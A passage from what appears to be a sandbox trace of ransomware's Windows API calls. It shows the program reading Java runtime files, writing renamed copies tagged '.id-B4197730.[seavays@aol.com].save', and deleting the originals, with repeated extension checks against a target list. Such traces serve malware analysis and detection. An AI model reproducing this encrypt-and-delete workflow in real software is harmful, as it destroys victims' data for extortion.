Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0209.559] lstrlenW (lpString=".dbf") returned 4 [0209.559] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0209.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0209.559] lstrlenW (lpString=".1cd") returned 4 [0209.559] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0209.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0209.559] lstrlenW (lpString=".jpg") returned 4 [0209.559] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0209.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0209.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0209.559] lstrlenW (lpString=".doc") returned 4 [0209.559] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0209.559] lstrlenW (lpString=".docx") returned 5 [0209.559] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0209.559] lstrlenW (lpString=".pdf") returned 4 [0209.559] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0209.559] lstrlenW (lpString=".xls") returned 4 [0209.559] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0209.559] lstrlenW (lpString=".xlsx") returned 5 [0209.560] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0209.560] lstrlenW (lpString=".ppt") returned 4 [0209.560] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0209.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0209.560] lstrlenW (lpString=".zip") returned 4 [0209.560] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0209.560] lstrlenW (lpString=".rar") returned 4 [0209.560] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0209.560] lstrlenW (lpString=".bz2") returned 4 [0209.560] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0209.560] lstrlenW (lpString=".7z") returned 3 [0209.560] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0209.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0209.560] lstrlenW (lpString=".dbf") returned 4 [0209.560] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0209.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0209.560] lstrlenW (lpString=".1cd") returned 4 [0209.560] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0209.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0209.560] lstrlenW (lpString=".jpg") returned 4 [0209.560] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0209.560] lstrcmpiW (lpString1=".cfg", lpString2=".save") returned -1 [0209.561] lstrlenW (lpString="jvm.cfg") returned 7 [0209.561] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0209.561] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=634) returned 1 [0209.561] CloseHandle (hObject=0x34c) returned 1 [0209.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20 [0209.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.562] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0209.562] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.562] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.562] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0209.563] GetLastError () returned 0x0 [0209.564] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x27a, lpOverlapped=0x0) returned 1 [0209.565] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x280, lpOverlapped=0x0) returned 1 [0209.566] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.566] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xe2, lpOverlapped=0x0) returned 1 [0209.566] SetEndOfFile (hFile=0x350) returned 1 [0209.566] CloseHandle (hObject=0x350) returned 1 [0209.567] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.567] SetEndOfFile (hFile=0x34c) returned 1 [0209.568] CloseHandle (hObject=0x34c) returned 1 [0209.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.568] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 1 [0209.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0209.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0209.569] lstrlenW (lpString=".doc") returned 4 [0209.569] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0209.569] lstrlenW (lpString=".docx") returned 5 [0209.569] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0209.569] lstrlenW (lpString=".pdf") returned 4 [0209.569] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0209.569] lstrlenW (lpString=".xls") returned 4 [0209.569] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0209.569] lstrlenW (lpString=".xlsx") returned 5 [0209.569] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0209.569] lstrlenW (lpString=".ppt") returned 4 [0209.569] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0209.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0209.569] lstrlenW (lpString=".zip") returned 4 [0209.569] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0209.569] lstrlenW (lpString=".rar") returned 4 [0209.569] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0209.569] lstrlenW (lpString=".bz2") returned 4 [0209.569] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0209.570] lstrlenW (lpString=".7z") returned 3 [0209.570] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0209.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0209.570] lstrlenW (lpString=".dbf") returned 4 [0209.570] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0209.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0209.570] lstrlenW (lpString=".1cd") returned 4 [0209.570] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0209.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0209.570] lstrlenW (lpString=".jpg") returned 4 [0209.570] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0209.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0209.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0209.570] lstrlenW (lpString=".doc") returned 4 [0209.570] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0209.570] lstrlenW (lpString=".docx") returned 5 [0209.570] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0209.570] lstrlenW (lpString=".pdf") returned 4 [0209.570] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0209.570] lstrlenW (lpString=".xls") returned 4 [0209.570] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0209.570] lstrlenW (lpString=".xlsx") returned 5 [0209.570] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0209.570] lstrlenW (lpString=".ppt") returned 4 [0209.571] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0209.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0209.571] lstrlenW (lpString=".zip") returned 4 [0209.571] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0209.571] lstrlenW (lpString=".rar") returned 4 [0209.571] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0209.571] lstrlenW (lpString=".bz2") returned 4 [0209.571] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0209.571] lstrlenW (lpString=".7z") returned 3 [0209.571] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0209.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0209.571] lstrlenW (lpString=".dbf") returned 4 [0209.571] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0209.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0209.571] lstrlenW (lpString=".1cd") returned 4 [0209.571] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0209.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0209.571] lstrlenW (lpString=".jpg") returned 4 [0209.571] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0209.571] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0209.571] lstrlenW (lpString="calendars.properties") returned 20 [0209.572] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0209.572] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=1378) returned 1 [0209.572] CloseHandle (hObject=0x34c) returned 1 [0209.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 0x20 [0209.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.573] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0209.573] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.573] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.573] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0209.574] GetLastError () returned 0x0 [0209.574] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x562, lpOverlapped=0x0) returned 1 [0209.989] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x570, lpOverlapped=0x0) returned 1 [0209.991] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.991] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xfc, lpOverlapped=0x0) returned 1 [0209.991] SetEndOfFile (hFile=0x350) returned 1 [0209.991] CloseHandle (hObject=0x350) returned 1 [0209.991] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.991] SetEndOfFile (hFile=0x34c) returned 1 [0209.992] CloseHandle (hObject=0x34c) returned 1 [0209.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.993] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 1 [0209.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0209.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0209.993] lstrlenW (lpString=".doc") returned 4 [0209.993] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0209.993] lstrlenW (lpString=".docx") returned 5 [0209.993] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0209.993] lstrlenW (lpString=".pdf") returned 4 [0209.993] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0209.993] lstrlenW (lpString=".xls") returned 4 [0209.993] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0209.993] lstrlenW (lpString=".xlsx") returned 5 [0209.993] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0209.993] lstrlenW (lpString=".ppt") returned 4 [0209.993] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0209.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0209.993] lstrlenW (lpString=".zip") returned 4 [0209.993] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0209.993] lstrlenW (lpString=".rar") returned 4 [0209.993] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0209.993] lstrlenW (lpString=".bz2") returned 4 [0209.993] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0209.994] lstrlenW (lpString=".7z") returned 3 [0209.994] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0209.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0209.994] lstrlenW (lpString=".dbf") returned 4 [0209.994] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0209.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0209.994] lstrlenW (lpString=".1cd") returned 4 [0209.994] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0209.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0209.994] lstrlenW (lpString=".jpg") returned 4 [0209.994] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0209.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0209.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0209.994] lstrlenW (lpString=".doc") returned 4 [0209.994] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0209.994] lstrlenW (lpString=".docx") returned 5 [0209.994] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0209.994] lstrlenW (lpString=".pdf") returned 4 [0209.994] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0209.994] lstrlenW (lpString=".xls") returned 4 [0209.994] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0209.994] lstrlenW (lpString=".xlsx") returned 5 [0209.994] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0209.994] lstrlenW (lpString=".ppt") returned 4 [0209.994] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0209.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0209.994] lstrlenW (lpString=".zip") returned 4 [0209.994] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0209.994] lstrlenW (lpString=".rar") returned 4 [0209.994] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0209.994] lstrlenW (lpString=".bz2") returned 4 [0209.995] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0209.995] lstrlenW (lpString=".7z") returned 3 [0209.995] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0209.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0209.995] lstrlenW (lpString=".dbf") returned 4 [0209.995] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0209.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0209.995] lstrlenW (lpString=".1cd") returned 4 [0209.995] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0209.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0209.995] lstrlenW (lpString=".jpg") returned 4 [0209.995] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0209.995] lstrcmpiW (lpString1=".pf", lpString2=".save") returned -1 [0209.995] lstrlenW (lpString="sRGB.pf") returned 7 [0209.995] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0209.996] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=3144) returned 1 [0209.996] CloseHandle (hObject=0x34c) returned 1 [0209.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20 [0209.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.996] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0209.997] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.997] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.997] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0209.998] GetLastError () returned 0x0 [0209.998] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0xc48, lpOverlapped=0x0) returned 1 [0210.000] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xc50, lpOverlapped=0x0) returned 1 [0210.001] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.001] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xe2, lpOverlapped=0x0) returned 1 [0210.001] SetEndOfFile (hFile=0x350) returned 1 [0210.001] CloseHandle (hObject=0x350) returned 1 [0210.001] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.001] SetEndOfFile (hFile=0x34c) returned 1 [0210.002] CloseHandle (hObject=0x34c) returned 1 [0210.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.002] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 1 [0210.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0210.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0210.003] lstrlenW (lpString=".doc") returned 4 [0210.003] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0210.003] lstrlenW (lpString=".docx") returned 5 [0210.003] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0210.003] lstrlenW (lpString=".pdf") returned 4 [0210.003] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0210.003] lstrlenW (lpString=".xls") returned 4 [0210.004] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0210.004] lstrlenW (lpString=".xlsx") returned 5 [0210.004] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0210.004] lstrlenW (lpString=".ppt") returned 4 [0210.004] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0210.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0210.004] lstrlenW (lpString=".zip") returned 4 [0210.004] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0210.004] lstrlenW (lpString=".rar") returned 4 [0210.004] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0210.004] lstrlenW (lpString=".bz2") returned 4 [0210.004] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0210.004] lstrlenW (lpString=".7z") returned 3 [0210.004] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0210.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0210.004] lstrlenW (lpString=".dbf") returned 4 [0210.004] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0210.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0210.004] lstrlenW (lpString=".1cd") returned 4 [0210.004] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0210.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0210.004] lstrlenW (lpString=".jpg") returned 4 [0210.004] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0210.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0210.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0210.004] lstrlenW (lpString=".doc") returned 4 [0210.004] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0210.004] lstrlenW (lpString=".docx") returned 5 [0210.004] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0210.004] lstrlenW (lpString=".pdf") returned 4 [0210.004] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0210.005] lstrlenW (lpString=".xls") returned 4 [0210.005] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0210.005] lstrlenW (lpString=".xlsx") returned 5 [0210.005] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0210.005] lstrlenW (lpString=".ppt") returned 4 [0210.005] lstrcmpiW 